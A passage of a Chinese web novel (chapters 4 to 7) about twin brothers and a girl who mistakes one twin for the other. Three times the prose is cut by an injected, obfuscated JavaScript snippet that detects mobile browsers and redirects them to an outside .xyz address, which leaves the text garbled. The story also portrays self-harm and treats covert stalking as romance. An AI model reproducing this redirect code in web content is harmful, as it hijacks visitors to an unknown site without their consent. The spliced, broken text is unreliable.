就像季行月每次失败嚎啕时,大人们张开双臂环住他的身体,送上满含安慰和鼓励意味的拥抱。 这样的拥抱,会有多温暖? 好想知道。 在他愣神的时候,马尾女生已经安抚好了韩栀子,两人很不讲究地你一口我一口把巧克力棒吃完,手挽手走了。 地上有个什么物件在太阳光下反光,季舒阳走过去,弯腰捡起来。 是一张智明中学的学生证。 证件照上的女生抿唇笑得僵硬,看着有些傻气。 李再星——这个智明异类的名字。 季舒阳还在端详这张傻气的证件照,耳边传来一阵急促脚步声。 他抬起头,一路跑来的马尾女生气喘吁吁停在他面前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484284|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “同、同学……这、这张学生证是我的,谢谢你帮我捡起来啊。” 李再星伸手要从他手里拿回学生证,却被季舒阳躲开。 “我们学校不让外校学生进。”季舒阳淡淡开口,声音微冷。 “是、是,你说得对……” 混进别人学校被抓个正着,李再星有些尴尬,“我是为了安慰我朋友才偷偷混进来的,不是来干坏事的。” 同为青安市的名牌中学,智明和明礼一向水火不容。 智明校风自由,明礼管教严厉,截然不同的校风和教学理念,导致两个学校无论是老师还是学生,相互间敌意很大。 所以被抓包的李再星很心虚,双手合十恳求,“同学你这么帅,心肠一定很好,所以能不能别告老师?” 她在外套兜里掏了半天,掏出钥匙纸巾等等一堆乱七八糟的小杂物,也不知道在翻什么,最后掰开手机壳,拿出夹层里的备用现金,好商好量道:“你看我身上就只有二十块钱,要不给你……” “我不是勒索犯。” 季舒阳打断她的贿赂。 李再星挠了挠脸,“那你怎么才能不告老师,把我学生证还我?” 季舒阳盯着她。 她看起来很迫切,毛茸茸的两条眉毛拧成焦虑的竖八,一双杏眼可怜兮兮地望过来。 分不清是被蛊惑还是被动摇,他鬼使神差地开口:“你能不能和我抱一……握个手?” 李再星愣住:“啊?” 没听错的话,他刚刚是想说抱一下吧? 虽然中途改口成握手,但是这要求未免也……太猥琐了吧! 李再星看他的眼神里带上明显的鄙夷和戒备,语气也没了刚才的狗腿,能听出很明显的嫌弃:“同学,长得再帅也不能耍流氓啊。” 李再星刚想说这学生证不要算了,对方却忽然道歉。 “对不起,冒犯了。”季舒阳把学生证还给她。 他道歉得太突然,还同意归还学生证,李再星反而混乱了。 这人真是无法理解又莫名其妙。 李再星想着赶紧拿上学生证离开,伸手去拿时,瞥见他袖口没完全挡住的半截手腕,血淋淋的抓痕布满冷白的皮肤,触目惊心。 李再星一顿,伸手去拿学生证的动作,改而去抓住他的手,想看个究竟。 对方像是下意识地抓着袖子往下拉,将伤痕完全挡住。 却又因为这个动作,让李再星看见了他那只手的手指,指甲旁边的皮肉被撕得不成模样,光是看着就疼。 李再星错愕抬眼,迎面望进他的眼睛。 她的视线宛如一把利器,直挺挺刺过来,季舒阳板着脸别过去,没再看她,“可以松手了吗?” 抓着他的人却迟迟没有松手的动作。 风掠过二人相牵在一起的手,翠绿郁葱的梧桐树叶在头顶簌簌。 金色光斑穿过枝叶缝隙落在他们身上,跟着风和树叶的节奏,忽明忽暗掠过。 她是忽然开口的,清亮的声音郑重其事: “同学,听说你们学校抓早恋很严,要是老师来了,咱俩分头跑,你千万要帮我打掩护啊。” 季舒阳跟不上她的思路:“什么?” 他扭头看向她,她坚毅的面孔映入眼帘时,他的手被她抓着往她的方向拽过去。 季舒阳脚下不稳,微微踉跄,紧接着被正面迎上的女生抱住。 抱着他的人比他瘦小,抱住他的力度却很沉,纤细的双臂张开,紧紧环住他的身体。 太阳的光和热聚在他消瘦的脊柱,滞留在怀里的体温似乎比阳光更暖,像正在燃烧的流星,越是知道不会多作停留,越想将它据为己有。 这样的拥抱,原来这么温暖。 季舒阳闭上眼。 伤痕累累的皮肤仍在阵阵刺痛,心脏却像在被什么轻轻抚摸,温柔地填满每一处裂痕。 其他人都在欢度期中考后的校庆,校园里一片喧闹。 远离喧嚣的梧桐树下,他们在斑驳的日光中无声相拥。 自那之后,他的一周,从李再星开始。 5. 第 5 章 高马尾在身后摇晃,杏眼弯成月牙,一颗小虎牙显露唇下。 季舒阳没办法控制自己,一次又一次地去偷看站台玻璃门倒映出的那张笑脸。 时隔许久,在地铁站再一次遇见,他几乎立刻认出李再星的背影。 身体比理智先行一步,季舒阳跟在她身后。 也只是跟在她身后。 时至今日,他仍是个恐惧失败的人。 他能接受李再星不记得他,但无法接受李再星拒绝他。 她拒人于千里之外的可能性,仅仅只是在脑海中一闪而过,就足够让他浑身颤抖。 直到地铁呼啸而过,季舒阳仍旧停在她身后的两步外。 度过珍贵又短暂的五分钟,新一趟地铁到站,李再星走上地铁,他紧随其后。 这个时间点,地铁站人流量并不多,座位富余,空气冷清。 李再星在空长椅最左边坐下,季舒阳停在最右边,落座,假装正视着前方,余光捕捉对面玻璃窗的倒影。 地铁开动没多久,李再星就开始摇摇晃晃地打起瞌睡。 她的脑袋越垂越低,姿势越来越危险,却睡得很沉。 季舒阳几次启唇,想叫醒她,又因顾虑合上。 如果叫醒她,她会认出他吗?会记得他吗? 如果记得,会讨厌他吗?会再拒绝他吗? 思绪百转千回,纠结成一团乱麻。 就在这时,李再星越垂越低的脑袋猛地往前一坠。 来不及思考其他,身体比大脑更先做出反应,季舒阳伸手托住她的额头。 李再星也终于惊醒,坐直身体立刻道歉:“对不起!” 扭头的一瞬间四目相对。 近距离看她,每一根睫毛都分明,圆睁的杏眼盛满歉意和惊慌,像受惊的小猫。 好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱好可爱。 心跳都似乎停掉一拍。 季舒阳绷紧面部肌肉,才没泄露自己的慌乱,“没事。” 声带仿佛生锈,发出的声音干涩又紧绷。 他搭在腿上的手指紧攥成拳,指甲陷入掌心,对犯下这种失误的自己,做出习惯性的惩罚。 惩罚已是无用功。 李再星已经坐正身体,象征对话结束。 季舒阳却又暗自松口气。 她没认出他。 短暂庆幸后,是漫长失落。 她不记得他。 心脏像被淬毒的丝线密密麻麻缠绕住,分不清渗入的毒素带给他的是苦涩还是痛楚。 李再星似乎困得厉害,强撑着不睡,清脆巴掌声令他侧目。 几番握拳,季舒阳终于问出口:“你在哪个站下车?” “青大站。” 这个回答让季舒阳一愣。 像被惊喜礼盒砸中,没能去成东晏的遗憾在此刻一笔勾销。 这是老天对他的眷顾。 第二次相遇,是刻意的安排。 季舒阳没季行月那么强的人脉,费了些时间才查到李再星的专业和课表,费尽心机,制造出偶遇的假象。 “好巧,又见面了!” 李再星看向他的杏眼里带着惊喜。 季舒阳想说一点都不巧。 如果你知道我是如何暗中打听你的动向,如何像个跟踪狂一样接近你,你会不会像那时一样,把我当作变态,对我充满戒备和鄙夷? 一定不会像现在这样,对我露出这么友好的笑容。 最终,他什么都没说。 怀揣着窃喜和愧疚,自私地装作巧合。 李再星仍旧和以前一样活泼,也确实不再记得他。 她熟稔地同他相处,比季舒阳想象中更亲切。 欲望的边界又一次扩大。 季舒阳盯着手机里新增的联系人电话,第N次打开消息编辑框,又第N+1次犹豫该发送什么。 玄关处传来钥匙插入门锁的声音,季舒阳下意识退出消息页面,息屏手机。 季行月打开门,随手将钥匙丢到鞋柜上方,拿出拖鞋往地上一丢,蹬上就屋内走,也没将脱下的鞋放回鞋柜,任它们歪七扭八挡在门口。 兜里碍事的手机,今天夹娃娃带回来的包挂,他边走边脱行头,一如既往随手丢,最后往沙发上一倒,瘫进沙发的怀抱。 “累死我了。” 季行月有气无力感慨,像是徒步几百公里的旅人,累到连声音都悬浮。 装模作样需要演技,也需要体力,他今天都快把脸笑僵。 季舒阳冷眼看着他一到家就把家里搞得乱七八糟,“这周是你值日。” 季行月犯懒没动,“歇会儿再收拾,我今天一天都在应付人,真的很累。” 季舒阳看不惯他乱丢东西的习惯,捡起滚落到地上的猫咪挂件,不客气丢他脸上,“我说过,你再这么邋遢,我就回学校住。” 这句话总算威胁到季行月,他连忙坐起来,“别啊,我收,我马上就收拾。” 他在外租房获得父母许可的一大条件,是季舒阳也跟着一起住。 因为季舒阳能看着他,防止他和朋友瞎混,夜不归宿。 季行月三下五除二收拾好乱丢的东西,准备回房继续躺,又被季舒阳叫住。 季舒阳拿着他刚才丢到沙发上的猫咪挂件,“还有这个。” 季行月没接,摆摆手,“给你了,这么丑的东西我也用不上。” 季舒阳低头看了眼这猫咪挂件,确实说不上好看,挤眉弄眼的嘚瑟表情贱嗖嗖的,却偏偏有颗虎牙,还刚好也是左边。 熟悉的既视感。 季舒阳捏住它圆滚滚的黄脑袋,弯了弯嘴角。 …… 黄色大脑袋,贱嗖嗖的嘚瑟笑。 李再星一从书里抬头,就瞥见隔壁座位熟悉的丑萌猫咪头,脸还是正对着她,像个小小监督员。 她视线往上,男生熟悉的侧脸映入眼帘,坐在和她相隔一个座位的位置,正低着头看书,清薄的单眼皮半垂着,眉目俊朗,神色专注。 李再星上午只有一节课,离午饭时间还早得很,就没回宿舍,又见这节教室似乎下节课也空着,干脆留在了教室自习,整理上节课的笔记。 但她完全没想到会在这里遇见季行月。 也不知道他在这坐了多久,她戴着耳机,整理笔记太投入,竟然一点动静都没注意,而他竟然也没喊她。 教室里还有其他几个人在自习,避免打扰到其他人,李再星用便利贴跟他打招呼:好巧,你怎么在这? 递过去的便利贴让季舒阳手中的签字笔一顿,偏头看向她,眼里情绪不明。 李再星咧着嘴朝他挤出一个灿烂又傻气的笑,脸上的笑纹愈发明显,一侧的小虎牙冒着尖尖。 季舒阳低下头,掩饰微妙的不自在,在她的便利贴上写字:来这自习。 李再星忍不住要自恋了,这边是北校,他横跨大半个校区来这边自习? 她直接问:跑这么远来自习吗? 季舒阳回:刚好来这边办事。 好吧,李再星相信了他的说辞。 虽然他没细说是什么事,但也没必要跟她说谎。 因为她没跟季行月互通过课表,不知道彼此的上课时间和地点。 而且,她也没自恋到觉得季行月会专门打听到她的课表来跟她装偶遇。 都已经出去吃过饭看过电影了,想见面再约,在微信上说一声就成,他没必要这么麻烦。 李再星看了眼时间,离第四节课下课还有些时间,正是食堂不用排队的时候。 她在便利贴上写:快下课了,一起去吃饭吗? 季舒阳没写字回复,低嗯一声,合上笔帽,直接开始收拾东西。 李再星看着他把那个猫咪挂件扣到书包拉链上,周末时,她还以为他对这种公仔没兴趣,没想到会随身带着,刚刚还特意把这小东西取下来,摆在桌子上。 李再星随口说了句:“看来你很喜欢这个娃娃呀。” 她只是随口一感慨,却听季舒阳说:“你喜欢的话,可以给你。” 他说着还真把这挂件重新取下来,一副要给她的模样。 周末才送给他的,怎么能有再收回来的道理,李再星连忙摆手,“不用不用,这个就留给你吧,我也有一个,你看!” 李再星拎起书包,把挂在拉链上的猫咪挂件亮给他看。 也是黄色大脑袋,但表情是严肃死鱼脸。跟他手上这个显然同款。 季舒阳视线顿了顿,为这巧合颇感意外。 这款猫咪最近很流行吗? 不过,他不讨厌这样的流行。 季舒阳把挂件重新挂回书包上,瞥了眼她的,又瞥了眼自己的,不着痕迹弯了弯唇。 还没到第四节课下课时间,这个点,食堂人不多,李再星跟他打完饭选了个没人的空餐桌,面对面坐着吃。 李再星忍不住偷偷打量他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484285|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他今天没像上次那样打扮浮夸,穿着低调的一身黑,耳朵上也没有多余装饰。 这让她觉得自在多了。 今天的他也比上次安静很多,甚至都没怎么跟她对视,像是在回避什么一样。 这样的相处状态,让李再星莫名地有种她才是被恐惧的“潮女”。 但她今天的打扮也没很奇怪吧? 快吃完的时候,李再星问:“你下午有课吗?吃完饭要不要回去睡午觉?” 季舒阳顿了顿,说:“没课,不用。” 李再星立刻提议:“那我们吃完饭去晒晒太阳吧,我带你去个好地方。” 她说的好地方就是北校的猫咪天堂。 地点就在综合教学楼后面的小公园,铺着大片的草坪,种着景观绿植,是校园流浪猫最喜欢来晒太阳的场所,所以被学生们称为猫咪天堂。 今天天气很好,步入冬天的青安市难得放晴,气温不冷也不热。 草地里三两成对的学生,吃饱喝足的流浪猫,都在慵懒悠闲地晒太阳。 “这只叫趴菜,因为它喜欢趴着睡觉,旁边这只叫呼噜,摸它的时候,它呼噜声最大。” 李再星盘腿坐在草坪上,向男生介绍正在晒太阳的两只橘猫。 “趴菜的脾气不好,第一次见面,你小心着点,别被它挠了。可以先摸摸呼噜,它的脾气很好。” 季舒阳依言伸手,去摸那只睡成大鸡腿的那橘猫。 指尖才轻挠两下它的额头,它就立刻发出很响的呼噜声,猫如其名。 “它们俩长得一样,你是怎么认出来的?”他问。 这确实是两只长得很相似的猫,也是同一胎的兄弟,即使经常来猫咪天堂撸猫的学生,都有些难区分它们。 李再星不好意思说这是自己数次认错,被趴菜挠伤后的血泪经验,她扬起下巴虚张声势:“因为我有一双火眼金睛,当初送他们去绝育的也是我,厉害吧?” 这副得意洋洋的模样,活像季舒阳书包上挂着的那只臭屁猫。 季舒阳浅浅地弯起唇角:“嗯,真厉害。” 像哄小孩的语气。 李再星每次在室友或者损友面前嘚瑟的时候,都会迎来几句阴阳怪气,她自己也知道这种嘚瑟很欠揍,习惯了她们不带恶意的损嘴。 他的夸赞丝毫没有阴阳怪气的意味,也并非是真的被她故作夸张的嘚瑟唬到,更像是明知她在故意嘚瑟,也纵容地顺着她。 李再星反而有点不好意思了,轻咳了两声。 人在不好意思的时候总是装作很忙,她也没事找事地伸手,去摸趴在一旁睡觉的趴菜。 却在伸手过去时,季舒阳突然伸出手,修长有力的手指将她的手一把抓住。 他的手比她大一圈,手指削瘦修长,几乎将她的手整个包裹住。 掌心传来的温度比晒在身上的阳光更暖,李再星整个人愣住。 心脏蓦地乱了一拍。 季舒阳提醒:“不是说它脾气不好,会挠人吗,小心些。” 李再星眨了眨眼,“我说的是第一次见面要小心点,我喂过它很多次了,它认得我……” 季舒阳立刻松开了她的手,“抱歉,冒犯了。” “没、没事,谢谢……” 李再星已经不知道自己在说什么了,满心满脑都是被他握在手心时的触感。 大脑分成两半,一半在为刚才的牵手而激动,一半在为自己解释得太快,手还没牵热乎就松开而遗憾。 她没注意到,在她分神时,季舒阳不动声色换了一只手摸猫,另一只手悄悄地攥在身侧。 初冬午后的阳光既温暖又热烈,两人的耳朵都晒得微微发红。 时间在无知无觉中飞快溜走,直到李再星的手机响了两声,打破这难以留住的宁静。 关柔在微信里问,她怎么一中午都没回宿舍,要不要帮她把下午上课的书带过去。 李再星这才发觉午休时间马上就要结束了。 “糟糕,我下午满课,得赶紧走了,你也赶紧回去吧!” 她说完就立刻起身要走。 季舒阳跟着她站起身,目送她离开。 走出两步的女生又忽然停住,转身朝他挥手,灿烂地笑。 季舒阳也弯唇微笑。 下一秒,清亮的女声却喊出另一个名字。 “季行月,下次见啦!” 如同一盆冷水向季舒阳当头浇下。 欣喜戛然而止,他愣在原地。 一瞬间,面如死灰。 6. 第 6 章 “啊、啊啾——” 季行月打了个喷嚏。 这该死的感冒,几天了都不见好。 虽然也有他没吃感冒药的关系,但它就不能自己靠免疫力好吗,非得吃什么感冒药,那么难吃,他吃个屁! 因为感冒不舒服,季行月在心里爆粗的频率直线上升,心情差劲的时候,连自己的身体都会骂。 让他烦躁的不只是身体的不适,还有季舒阳。 这两天,季舒阳莫名变得很奇怪,先是看他打喷嚏感冒,突然嘴毒来一局句,买了头孢,记得配酒。 这就算了,他大人有大量,不跟季舒阳计较。 可这之后的两天,季舒阳就更奇怪了。 不光在学校一见到他就走,无视他的打招呼,同在一个屋檐下住着,季舒阳都没怎么跟他碰面。 他跟季舒阳搭话,季舒阳就马上回房关门,一副对他爱答不理的模样。 奇了怪了! 季行月前前后后思考自己究竟是哪里做错了事,是把他买来的冰淇淋全吃光了这事被他发现了?还是不小心穿错他内裤这事被他知道了? 可无论哪件事,都不像是季舒阳会对他冷战的理由,季舒阳只会当面怼他损他。 季行月最受不了别人有话不直说,哪怕是季舒阳。从小到大,他跟季舒阳也没冷战过几次。 倒是有动手打过架,当然,每次都是晚出生几分钟的他被血脉压制得死死的。 每次被季舒阳揍完,他还得再挨一顿父母的骂。 因为他哥从小就是乖孩子,是他的榜样,不可能犯错。 一套DNA的兄弟,人们总是会偏袒更优秀的那个。 季舒阳就像是书中故事的主角,优秀,懂事,光环强大。即便不需要刻意表现出平易近人的性格,也仍旧被所有人喜爱。 父母如此,朋友如此,甚至季行月曾经有好感的女孩也如此。 高中入学典礼上,那个有着和名字风格截然相反的明艳长相的女孩,在乌泱泱的白菜土豆中美得格外突出。 一次意外,季行月偶然听见那个女孩和朋友的通话。 “我们学校有对长得很帅的双胞胎。”女孩对电话另一端的朋友如是说道。 是在说我呢。 季行月听到这里时很惊喜。 但接下来的对话,与他不再有任何关系。 话里话外反复被提及的,只有季舒阳。 明明是双胞胎,明明我性格更好,为什么连你也喜欢他? 所有比较的结果,为什么总是季舒阳在赢? 往事越想越气,季行月吸了吸鼻子,还是绕到了冰柜前,推开玻璃盖,拿了两桶冰淇淋。一桶他爱的柠檬红茶味,一桶季舒阳喜欢的可可咖啡味。 结完账,拎着两桶冰淇淋回到家,季行月刚把冰淇淋放冰箱,正准备去敲季舒阳的门,手机忽然响了一声。 他看了一眼,是小土豆发来的消息。 小土豆:我上次拍了好多猫咪的照片,发给你吧。 这两条消息之后,紧接着,好几张照片涌进聊天页面。 照片里都是学校里的流浪猫。 季行月不知道她怎么突然提起猫这个话题了,也对这些猫没什么兴趣,但其中一张照片,定住了他的视线。 照片里的那只橘猫头上,有只挺好看的手。 呸,关键不是好看,而是…… 那是只男人的手! 季行月霎时睁大了眼睛,点开那张照片,放大看,再放大,再看,得出的结论没变。 这绝对是男人的手! 他这两天感冒心烦,李再星没联系他,他刚好落得清静,也就没多想。 但万万没想到,李再星没联系他的这两天,竟然跟别的男人去约会了??? 看她一副憨憨小土豆的模样,还以为她很老实,结果是个广撒渔网的海王吗? 他被渔场管理了?他堂堂季行月? 他这张脸沦落到被渔场管理??? 胜负欲就像是鼓胀到极致的气球,啪地一下炸了。 季行月一股无名火往心头冒,也不去喊季舒阳了,站在冰箱旁边,低头噼里啪啦地在对话框里打字。 -这个手是谁的? 不行,不能这么问,删掉。 -你和谁去撸猫了? 这么问也不行,再删掉。 -哇,小猫咪真可爱,下次也叫上我吧~ 这回复够装模作样,符合他的人设。 季行月咬牙切齿,拇指用力按下发送键。 就算问出对方是谁,也对他没什么用处。他就不信这小土豆广撒网的鱼里,还有比他长得更帅性格更好的! 这小土豆也真是缺心眼,竟然把跟别的男人约会的照片往他这里发,还露出这么大的马脚。 季行月重重哼了声,拿着杯子去接水喝,给自己降降火。 手机在这时接连响了三声。 季行月不慌不忙喝了口水,这才举起来看。 还是小土豆发来的消息: -好啊,下次再一起去吧! -对了,我还偷偷拍了张你跟呼噜的合照。 -[图片] 看清照片里的人,季行月一口水直接喷出来。 “……我靠?!” 这他爹的不是季舒阳吗! 季舒阳怎么突然跟李再星待在一起了? 李再星还把季舒阳当成了他? 这一瞬间,季行月感觉自己的大脑CPU都快烧没了。 他像只无头苍蝇,在冰箱前走来走去,走去走来,寻思这是怎么一回事。 这段时间,季舒阳频频心情好到下厨,确实反常,如今一想,或许是因为李再星。 而前天晚上,季舒阳陡然心情变差,还跟他冷战,八|九不离十也因为和李再星发生了什么。 季行月一阵头脑风暴,顾不上回复李再星的消息,他三步并作两步,冲到季舒阳房门前,一把打开房门:“季舒阳,跟我聊聊!” 季舒阳正坐在书桌前敲代码,漆黑瞳仁倒映电脑屏幕的光,脸上没有任何表情。 房门猛地被打开,他连眼皮都没动一下,始终盯着电脑屏幕,“我不锁门不是为了让你不敲门就进屋。” 他声音冷得渗人,季行月一个激灵。 血脉压制在这刻见效,季行月老老实实把门关上,按规矩敲了两下门,重新打开,说话的气势也不如刚才,“我们聊聊。” 季舒阳仍旧一个眼神都没给他,“我没说要跟你聊,出去。” 季行月:“……” 季行月额角青筋狂跳,忍住跳脚冲动。 也不再拐弯抹角,他扯唇问:“你这两天为什么躲着我?” 后三个字的音刻意被咬重。 季舒阳敲键盘的手指蓦地一顿。 捕捉到他的反应,季行月知道自己猜对了,季舒阳不是在冷战,而是在心虚。 他继续追问:“你做了什么亏心事?” 季舒阳抿起唇,停在键盘上方的手指蜷曲成拳。 他终于转过头,看向季行月,“为什么没告诉我,你遇见了李再星?” “李再星?我跟她认识,为什么要特意告诉你?” 季行月佯装不记得,又假装有点记起来的模样,“仔细一想这名字有点耳熟……噢!她该不会是你高中时喜欢的那个女生吗?” 他演技其实不错,毕竟在人前装模作样这么多年。 但现在,他面前的人是季舒阳,还未出生就紧密联系在一起的同胞兄弟。 季舒阳冷眼看着他,“幸亏当年你没接受那个星探的邀请去拍戏,不然娱乐圈又多了一个废物花瓶。” 季行月:“……” “好吧我承认,我知道她是你当时喜欢的那个女生,跟她遇见也是巧合。” 没能骗过他,季行月索□□待,“但我有必要告诉你吗?告诉你之后呢,你要我当月老,帮你追她?” 季行月抱臂靠上门框,同样冷眼看着他,“别忘了,我已经帮过你一次,她也早就拒绝过你。” 指甲深深掐进掌心,季舒阳垂下眼,无法反驳。 确实,早在高中的时候,李再星就拒绝了他。 高二那年第一次见面,季舒阳从李再星和韩栀子的对话中,获取到一些信息。 比如她是智明的学生,和韩栀子家住得很近。 韩栀子是走读生,智明和明礼又不在一个区,所以很大可能是李再星在智明寄宿,周一坐地铁去学校。 季舒阳当时是班长,很容易就知道韩栀子家的住址。 于是每到周一,他跑到韩栀子家附近的地铁站,在地铁运行之前等在那里,跟着李再星一起坐地铁到智明,再打车回明礼。 李再星去上学的时间没什么规律,偶尔会很晚,踩着上课时间到学校。 季舒阳一厢情愿跟着,也为此在上课迟到很多次。 明礼纪律严格,迟到就扣个人分,当扣的分数达到某个值,就会罚做公共卫生打扫。 季行月原本以为他每周一很早就出门是为了去学校自习,还怨怼过,都年级第一了还这么卷。 时间久了,季行月察觉异样,在一次尾随季舒阳后,发现了他的秘密。 “我真是服了你了,你是跟踪狂吗,每天这么尾随人家?” “没有每天,只在周一。” “……” 季行月无语至极,每天和每周有什么区别,本质不还是跟踪狂? 季行月不知道季舒阳为什么会认识这个智明的学生,两个学校互相看不顺眼,除了联考拿成绩打架,也没别的交集,但季舒阳这个行为,显然不是一时兴起。 季行月:“你喜欢她?” “……” 季舒阳没回答。 虽然没回答,季行月却很清楚地看到他的脸在一点点变红。 这个次次考年级第一也不见得笑一下,被女生偷偷塞情书也从来都不看,仿佛斩断了七情六欲的人,竟然!因为这一句话就!脸!红!了! “我靠,好恶心!” 季行月着实受不了,最关键的是,这人还跟他长得同一张脸。 他简直鸡皮疙瘩都要起来,想大声朝窗外喊救命。 “所以你打算怎么办?” 终于冷静下来,季行月问他。 季舒阳觉得他这问题莫名其妙,“什么怎么办?” 季行月觉得他的反应更莫名其妙,“喜欢就追啊,难不成你想一直这么每周一尾随人家,先不说人家发现之后会不会报警,你再多迟到几次,你猜教导主任会不会打电话回家?到时候你怎么跟爸妈交待?” 季舒阳被问得哑口无言。 沉默了许久,才低声开口:“我没想过跟她交往。” 季行月看透了他,冷哼一声:“骗鬼呢。” 季舒阳无法反驳。 起初是没想过,偶尔见到一面就很心动,仅靠这一面的回味就能开心一整天。 这种心情就像一颗种子,贪心地生长后,会渐渐想暴露在阳光下。 季行月瞧他这上又不敢上,放又放不下的没出息模样,恨铁不成钢地叹了口气,给他出主意道:“听说智明马上就要搞元旦晚会,到时候你找个时间混进去,去要她的联系方式。” 闻言,季舒阳皱起眉,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484286|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果她拒绝呢?” 毕竟他们之前那次见面不算很愉快,她对他的印象应该很不好,那个拥抱也是同情成分居多。 季行月只觉得自己像是听到了什么酒后胡话,“拒绝?就凭你这张脸,还会有人拒绝你?怎么可能?” 作为他的同卵双胞胎兄弟,有着同一张连父母有时都会认错的脸,季行月决不允许季舒阳质疑自己的颜值。 季舒阳低着头,无意识地去撕指甲旁的倒刺,声音低到像是自言自语,“怎么不可能。” 被李再星拒绝的这种可能性,光是想想就让他绝望。 就像是每天只埋头学习,不让自己接触任何新事物新爱好,他只能够待在熟悉的舒适区保持完美。 他没有勇气去接触未知,任何一丝失败的可能性都让他不安到极点。 季行月不理解他的怯弱,也完全不明白他到底在顾虑什么。 唯一清楚的是,这件事不能就这么放在这不管。 就算被拒绝的概率是99%,但什么都不做,就只能得到100%的失败。 于是季行月擅自做了一个决定——他代替季舒阳去找李再星。 反正是同一张脸,不会被发现。 知道季舒阳肯定不会同意,所以他先斩后奏。 虽然季行月对自己的颜值很有自信,但看到季舒阳这么顾虑,他直觉这小土豆的眼光一定很高。 所以在去智明找李再星前,季行月隆重地给自己好好打扮了一番,还特意用了一次性染发喷雾,染了个时髦的黄毛,戴上了帅气的耳夹。 “看哥帅不死你。” 这是季行月出门前照镜子的最后感想。 如他所料,他确实帅到了对方。 他站到小土豆面前的时候,她眼睛都不知道该往哪放,害羞得都不敢跟他对视。 就跟听口令实行操作的机器人一样,他怎么说,她就怎么照做,乖乖地扫了他递过去的季舒阳的微信二维码,向季舒阳发送了好友申请。 这波先斩后奏的操作很成功。 季行月一回家就向季舒阳邀功,向他讨要一个月的零花钱。 季舒阳虽然对他擅自行动有怨念,但也为这个结果而欣喜,大手一挥,给他的报酬翻了两倍。 和李再星加上微信好友后,季舒阳想了一整个通宵,才想好打招呼的第一句话。 七个字:你好,我是季舒阳。 季舒阳郑重其事地把这条消息发过去。 然而,等待着他的却是红色感叹号。 他被李再星删除了。 怎么会这样? 是因为他隔得太久给她发消息,让她觉得莫名其妙了? 还是因为第一次见面的事情,给她留下了不好的印象,让她都不愿意再跟他多说一句话? 无论什么原因,聊天页面上的红色感叹号都如同晴天霹雳。 季行月拿到了零花钱就做起撒手掌柜,把钱花光后才想起来问一句有什么进展。 彼时已经过了两周。 季舒阳当时沉默了很久,最后只说了一句,“我被拒绝了。” 除此之外,他再没说其他,也再没去见过李再星。 “你这两天躲着我,是因为你用了我的身份去和她相处吧?”季行月问。 心脏像被压上石头,沉重又梗塞。季舒阳低声道:“我不是故意。” “但你没有解开这个误会,她至今都以为你是我。” 季行月旁观着他的沉默。 正如季舒阳能一眼看穿他的演技,他也能轻易知晓季舒阳的私心。 因为他们是紧密相连的同卵兄弟。 季行月唇角一勾:“既然这样,那将错就错吧。” 季舒阳倏然抬眼。 对上他惊愕目光,季行月微微一笑,意味深长:“谁让我们是双胞胎呢。” …… “我crush又约我吃饭!” 502女生宿舍,李再星举起手机,“姐妹们,大声告诉我,我李某人是不是马上要告别单身狗行列了?” 关柔和王佳佳一前一后抬头,一附一和:“大声告诉我,脱单后第一件事是什么?” “请吃饭!” 李再星脑袋一扬:“放心,少不了你们的!” 这次和季行月约饭的地点不像上次那样去外面吃,而是就在学校。 季行月突然在微信里问她吃没吃过南校食堂。 李再星大一开学时就把所有食堂光顾了个遍,南校三个食堂味道也就那样,和北校没差,但她丝毫不介意再去一次。 刚好两人周五下午都没课,于是中午约在了南校二食堂见面,吃完饭还能去逛一逛南校,撸一把南校那边的流浪猫。 周五的中午,李再星一下第四节课就飞奔过去,又在半路想起来王佳佳同志的教导,无论何时都不能让自己看着很急切,于是立刻就停下步子。 她平复好呼吸,擦掉脑门上的汗,对着镜子整理好头发,没有刘海就捋了捋脑门上的胎毛,这才向着南校二食堂,迈出女王的步伐。 二食堂前庭屹立的老榕树,粗壮的树干使劲延伸,茂密的枝叶在冬季也生机勃勃,宛如一顶巨大的绿色伞盖。 枝繁叶茂的榕树下,有一个高大清瘦的男生,戴着顶棒球帽。 他侧脸对着这边,没发现她。 风吹过来时树荫晃动,斑驳的阳光落在他黑色的帽檐,他轻敛着眼眸,不知在出神地想着什么。 女王的气势瞬间被李再星抛到九霄云外,一看见他就不由自主心情很好地露出笑。 李再星蹦蹦跳跳朝男生小跑过去,轻拍了下他肩膀,“嘿,季行月!” 7. 第 7 章 被叫的男生冷不防抖了一下,嘴巴微张,差点发出声音,明显被吓到。 李再星捂着嘴抱歉:“我吓到你了吗?” 